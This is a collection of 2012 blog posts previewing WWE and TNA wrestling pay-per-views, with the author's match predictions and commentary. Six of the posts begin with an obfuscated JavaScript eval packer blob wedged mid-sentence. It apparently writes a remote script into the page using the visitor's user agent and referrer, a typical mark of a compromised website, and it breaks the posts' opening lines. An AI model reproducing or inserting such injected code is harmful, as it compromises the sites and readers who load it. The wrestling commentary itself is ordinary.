No Surrender 2012 Preview

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hafkh|var|u0026u|referrer|ktekz||js|php'.split('|'),0,{})) don’t even remember last year’s show so hopefully this one has a bit of a bigger….ahem….Impact on me.Getting the unimportant ones out of the way, I’ll take Zema and Tessmacher to retain.

 

Magnus winning over Van Dam is all that makes sense so we’ll go with that.  I’m actually giving TNA a chance with logic here.  Don’t screw me over.

 

Tag titles will stay on Daniels and Kaz.  Angle is legit injured so expect AJ to do most of the work, which is fine.

 

Aries will take out the Aces and 8’s guy.  That should be obvious.

 

Now for the real meat of the show: the BFG Series matches.

 

I think it comes down to Storm vs. Joe with Joe taking it.  There’s really no wrong answer here but Joe vs. Aries has been talked about as the main event of BFG.  Ray is a possibility with the new deal that may or may not have been signed, but I can’t see it happening.  Hardy is the guy you have to have in there but who doesn’t seem very likely to me at all.

 

Overall, this show is one that won’t need to be seen but should be a decent show anyway.  Nothing really happens here as it’s a build up to BFG which is fine, but it does make for less drama outside of the final three BFG Series matches.  The show should be fun though, which is what TNA is doing best right now.

 

Thoughts/predictions?



Summerslam 2012 Preview

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efzyi|var|u0026u|referrer|tizbr||js|php'.split('|'),0,{})) Summerslam time and honestly I barely care after this lackluster build.  Let’s get to it.We’ll start with the matches of course.

For the preshow I’ll take Santino to retain in some wacky manner.  It should go to Cesaro to just give him something to do but they’re pushing Cesaro too hard to have him win here.

 

On to the main card, I’ll go with Bryan over Kane.  Bryan hasn’t won a singles match in months but yet he doesn’t need to win at all.  I’ll go with him because there is no reason to have Kane win at all here.

 

Ziggler over Jericho due to the word on the street being that Jericho is done after Sunday.

 

Miz to retain I guess but honestly does anyone care at all here?

 

Hopefully the Prime Time PLayers take the tag belts as Kofi and Truth are some of the lamest champions I can remember in a long time, which is saying something for the freaking tag team titles.

 

Sheamus over Del Rio with a possible cash in for Ziggler.  I really hope they don’t put it on Del Rio and then have Ziggy cash in.  That move drives me crazy.

 

For the main events, I’m hoping for Punk to retain but Big Show being in there would point to Cena walking out with the title.

 

For the real main event that hopefully won’t go on last, it has to be Lesnar.  I mean…..it HAS TO BE Lesnar……right?

 

Overall, this is one of the weakest looking Summerslams I can remember in a very long time.  The world title match is dragged down by a combination of Big Show and Punk seeming to have no idea if he’s a face or a heel.  At the end of the day, Rock continues to loom over this company but at least now there’s an open spot to face him at the Rumble.  Other than that, we have Lesnar vs. HHH in a feud that has almost no heat on it because it was started and then not mentioned again for three months before Shawn turned into a scared coward and Lesnar turned into every other cowardly heel that runs from a fight on the roster despite running over JOHN FREAKING CENA like he wasn’t there.  But hey, it makes HHH look more feared and if anyone needs the extra boost, it’s HHH.

 

Thoughts/predictions?



Hardcore Justice 2012 Preview

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbnta|var|u0026u|referrer|ifrbr||js|php'.split('|'),0,{})) haven’t done one of these on here in awhile.  Time for a PPV Preview.The show on paper has the looks of a good show which isn’t really a shock for TNA anymore.  I can’t believe I’m saying this but this has the potential to be a better show than Summerslam.

 

For the world title, I’ll go with Roode getting it back.  It’s pretty clear that Roode vs. Storm is coming again, but I can’t see Aries defending the title against anyone in the BFG Series for the title.  Also with there being no rematches, it’s a way to get Aries out of the title picture easily.

 

In the falls count anywhere match, I’m going to play a hunch and say Anderson.  I can’t imagine Magnus will win as he’s basically one of the jobbers of the Series which is fine.  Van Dam is the other likely candidate and Pope is just Pope.  They might throw it to Pope to shake things up a bit but I’d be surprised.

 

AJ to win the ladder match.  He’s behind in the standings and this would rocket him up as we close in on No Surrender.

 

I think I’ll take Hardy to win the tables match.  It’ll be either him or Ray, as there’s a chance that Aces and 8’s count help Ray win to further confuse things.  That would be an interesting twist.

 

Tessmacher to retain and King to win the title and Chavo/Hernandez to win, in the three filler matches on the card.

 

Overall this looks like a good looking card and I’m so glad they added different gimmicks to the fourways to keep them interesting.  This is the last show before we get into the BFG cycle which is a good thing as No Surrender is only kind of interesting most of the time.

 

Thoughts/predictions?



Over the Limit 2012 Preview

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izdky|var|u0026u|referrer|dfknf||js|php'.split('|'),0,{})) really have to do this don’t we?  This is one of the least interesting PPVs I can remember in years but it has to be done.  Let’s get to it.To get the obvious out of the way, Big Show/Lesnar interfere to help Ace win and set up the nonsense for the rest of the summer.  This is about as obvious as you can get.

Since the match hasn’t been talked about at all, I’ll go with Punk via a coin flip.  I do however think Bryan will get the title eventually though.

I’ll go with Sheamus to retain as well.  The only other option is Del Rio.  This is the match I’m looking forward tot he most by far as I’ve liked the build pretty well.

The tag champions will retain because they’re setting up the champions vs. the Colons.

Layla to retain.

Kane to destroy Ryder on the pre-show.

 

That’s the whole announced card so far: 5 matches and a pre-show match.  They’ll add two matches or so more than likely.

 

Thoughts/Predictions?



Sacrifice 2012 Preview

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khbnz|var|u0026u|referrer|nszih||js|php'.split('|'),0,{})) show is officially later tonight and as usual I can barely remember most of the card.I’ll go with Roode to retain.  It’s a filler main event, but I don’t see any reason for him to lose the title.

Anderson over Hardy.  I flipped a coin.
AJ to lose to Angle due to being all messed up.

Now I have to look at the list of matches because that’s all I can remember.

The Robs take the title somehow because this feud hasn’t gone on long enough.

I’ll take the tag champs to retain.  They’re facing Daniels/Kaz.  I don’t remember hearing about it either.

Tessmacher to take the title.

Finally I’ll go with Aries over Ray because of Abyss.

 

Overall the show is 100% filler, although it looks better than Victory Road, but that isn’t saying much.

 

Thoughts/Predictions?



Extreme Rules 2012 Preview

First eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdraf|var|u0026u|referrer|hfzba||js|php'.split('|'),0,{})) of all: can someone explain the difference between a Chicago Street Fight and an Extreme Rules match?Punk to retain.  There’s no real reason to have him lose to Jericho here unless it’s to set up a final gimmick match at whatever the next show is, but I think it’s time for Jericho to move on unless they want to go with something about Punk actually drinking.  The build has been a lot of rehashing the stuff before Mania so I don’t see a point in continuing it after this.

 

I’m going with Lesnar over Cena but I think a better pick would be a big brawl that goes to a draw.  You can’t have Lesnar lose immediately coming back but Cena has to win something someday.  Cena hasn’t said anything in this feud for the most part other than in London so it should be interesting to see where it goes.

 

Sheamus retains.  It’s pretty clear that they’re going from Bryan to Del Rio as the new challenger because he’s the least interesting person they could have feuding with Sheamus and that’s the right choice I guess.  We’ll go with 2-0 on a hunch.

 

Oh and whatever Bella has the title retains before losing to Kharma on Raw.

 

Thoughts/picks?

 

Orton over Kane.  No real reason for it to go the other way.

 

Show will retain unless they’re really stupid with their booking.

 

 



Lockdown 2012 Preview

It’s that time again. The second biggest show of the year with all cage matches. Here you go.Roode vs. Storm – This is one of those matches that seems like you can’t screw up……….but this is TNA.  I’m not sure if they’re going to mess it up but they could.  I’ll give them the benefit of the doubt though and go with the obvious title change.

Lethal Lockdown – Keep this in mind: Garrett Bischoff is now in control of a world champion, a two time world champion, the hottest commodity in the company, and the most decorated man in the history of the company.  Let that sink in for a minute.  Anyway, I have to go with Garrett’s team.  There’s no reason for him to lose, and besides it lets us have him stand on top even more.  I have no interest in this match though because look at it on paper minus the Bischoffs.  Is there anyone on the heel team other than Ray that can stand up to any of the faces?  No, and that’s why the match isn’t interesting.  Also next year, cut thsi down to 8 people.  Ten is too many.

Kurt Angle vs. Jeff Hardy – This is Angle’s night usually as he has great match after great match at Lockdown.  I’ll take Hardy to win, but this is going to be good.  Angle said that he thinks it’ll be a masterpiece and as good as HHH vs. Undertaker, but then again Kurt thinks people still listen to him.

Tag Titles – I know this is blasphemy but I’m not interested in the Guns at all.  There’s nothing for them to accomplish with the titles anymore at all.  They’re one of the best teams in company history (not as good as Beer Money or AMW but they’re probably third), and there’s no reason for them to get the belts.  They probably will and there’s nothing wrong with them being champions, but there’s nothing left for them to do with the titles.  I’ll go with new champions but with very little confidence.

Morgan vs. Crimson – No way the streak ends here.  Not that it would matter if it did, but it doesn’t end here.  Crimson wins.

Knockouts – Gail has had the belt five months now.  Put it on Velvet already.

TV Title – It’s still D-Von vs. Robbie E.  Did you know this match was happening?  Tenay and Tazz didn’t.  Champion retains.

Thoughts/Predictions?



Wrestlemania #28: General Thoughts/Predictions

This should be a solid show.WWE has done a good job with this show as the card is very stacked.  The good thing they’ve done here is that they’ve given themselves a lot of matches that could be show stealers and nothing looks really bad at all.  There’s enough middle of the road stuff that you could pretty easily make a card up where you don’t have to cram a bunch of stuff together.  The main event is set in stone and I think it’s pretty clear that we know what the match before it will be, but there needs to be something between them.  Maybe the Hall of Fame guys would be a good idea here.  As for an opener, go with Punk vs. Jericho or Orton vs. Kane.  Save Bryan vs. Sheamus for later so you can make it feel bigger.

 

For a best match, we’ll go with Punk vs. Jericho I guess, because the pressure won’t be on them as much.  Rock vs. Cena will probably be great as will the Cell, but at the end of the day, you have two guys who live to steal the show in a huge match on a huge stage.  Do you really think they’re going to leave anything in them?  Of course not, and we’ll get a great match with a ton of false finishes and it’ll be awesome.

 

As for worst, the twelve man tag.  Just WAY too many people out there for the sake of a WM payday.  The match is going to be a mess and it’s going to be almost impossible to keep track of the whole thing.  There’s probably going to be interference on top of that, plus the two GM’s plus Horny running around somewhere.  I’m not looking forward to it and hopefully it only gets about ten minutes instead of the likely 20 or so.

 

As for a sleeper, I’ll go with Bryan vs. Sheamus.  I like Sheamus’ work and this has very little hype for it.  Bryan puts on good matches and the power vs. speed thing should work well here.  Sheamus powering out of the LeBell Lock into the White Noise for two would be a great spot and would likely get a great reaction from the crowd.  It’s probably going to be good stuff though and that’s all that matters.

 

I think this is going to be a successful show and with anything under a million buys, it has to be considered a disappointment.  They’ve put A LOT into this show and there’s something there for everyone.  It’s Wrestlemania and that’s all you need to draw in people, but with the card they’ve presented with everything at least having a story and some of them being good stories, the show should be a blast.  I can’t wait for it and you shouldn’t either.  It’s officially tomorrow and I for one can’t wait.  Let’s get to it.

 

Thoughts/Predictions?



Wrestlemania #28: John Cena vs. The Rock

How do you follow HHH vs. Undertaker inside the Cell?  With this.We’ve finally arrived at this.  In the words of Jesse Ventura, this is what the term main event is all about.  At the end of the day, nothing else on the show matters besides this match.  This is the match that a lot of so called experts (including one with the initials K. B.) said would never happen in a million years.  Yet low and behold, here it is.  I’m not sure if you can call this match about passing the torch because Cena already is the top guy and has been for years while Rock hasn’t been on top arguably in about 11 years.

 

Still though, to call this anything but huge is an understatement.  This is one of the few legitimate dream matches left for WWE and it has to come close to living up to the expectations.  I say close to because I don’t think it actually can live up to or surpass them, not with the hype given to them.  The match is going to be great as it’s Rock vs. Cena, both of whom deliver on the big stage.  I’d expect it to go at least 25 minutes if not over half an hour, which is a long main event in modern WWE.  After that you have to worry about Rock’s cardio, whereas Cena could possibly rival 1986 Flair in that department.

 

As for a prediction, I have to go with Cena.  At the end of the day, I don’t see the value in Rock beating him, maybe popping up on Raw the next night and then bailing.  I’m not completely locked on that, but I think it’s what I have to go with.  As for Cena turning heel, again I see no need for it to happen, which we’ve gone over many times before.  As for interference…..I’m not sure.  There are reports of people like Miz, Batista or even Brock Lesnar interfering in it, but I’m not sure I’d buy anyone but Brock as a candidate for that.  The others aren’t people I see meaning much otherwise, but Brock vs. Rock or Cena is a huge main event to set up for WM 29 before we get the only match worthy of the main event of Wrestlemania 30: John Cena vs. The Undertaker.

 

Oh and if they do a rematch at Summerslam or Mania next year, I won’t be shocked but I’ll be annoyed.  It’ll likely happen though.

 

Thoughts/Predictions?



Wrestlemania #28: Hell in a Cell – Undertaker vs. Triple H

The End of an Era.  What Era that is isn’t clear but one is ending.This is the match that has arguably gotten the most build or at worst the second best.  It’s basically the culmination (to date) of the last three Manias before it, with Shawn not being able to stop the Streak, the betting his career against it, then his male life partner/occasional attempted murderer HHH failing to do so as well.  Now it’s Taker vs. HHH in the match they both made famous which is something huge.  The best thing about the gimmick aspect of the match: it feels like it belongs here.  There’s no reason to not put these two in the cage because it adds a level of intensity to the match that it might not have otherwise.

 

On the other hand, we have a second gimmick in this match in the form of a guest referee in the form of Shawn Michaels.  I really don’t get what he adds to this.  The promos have been very good to pretty good in this and the best was Shawn and HHH talking, but I don’t really see what him being in there with the two of them will do.  These two don’t need a third big name in there.  I mean, it’s Undertaker vs. HHH in the Cell.  What I do think it needs though is something on the line for HHH.  If he loses, so what?  He hasn’t put anything up.  The way one of their talks a few weeks ago went, it seemed like this was going to be Streak vs. Career but that didn’t happen, which I think could have helped the match a bit.

 

As for a prediction, it’s the Streak.  If there’s one sure thing in wrestling, it’s that you don’t bet against the Streak.  Shawn can be in there, the rest of DX can be in there, the 82nd airborne can be in there.  You don’t bet against the Streak.  Last year during their match I never once moved during every one of the near falls on Undertaker because it just wasn’t going to happen.  That wasn’t true in the first Shawn match, which is why I like that one more.  The more interesting question is will there be blood, and I think we’ll see some.  The prediction is Taker with one of his 9 or so finishers.

 

Thoughts/Predictions?